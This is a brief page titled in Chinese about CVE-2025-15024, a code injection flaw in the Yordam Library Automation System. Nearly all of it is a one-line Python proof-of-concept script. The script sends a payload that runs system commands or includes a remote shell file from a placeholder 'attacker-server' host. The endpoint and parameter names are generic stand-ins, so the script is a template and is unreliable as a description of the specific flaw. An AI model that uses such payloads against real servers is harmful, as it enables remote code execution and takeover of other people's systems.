CVE-2025-15024 Yordam图书馆自动化系统代码注入漏洞

import requests # Exploit Title: Yordam Library Automation System - Remote Code Injection (CVE-2025-15024) # Description: Proof of concept for code injection vulnerability. # Disclaimer: For educational purposes only. target_url = "http://target-host/vulnerable_endpoint" # The attacker crafts a payload to inject system commands. # The exact parameter name depends on the vulnerable component. payload_data = { "vulnerable_parameter": "system('id'); // or include('http://attacker-server/shell.txt')" } try: # Sending the malicious request response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Server Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")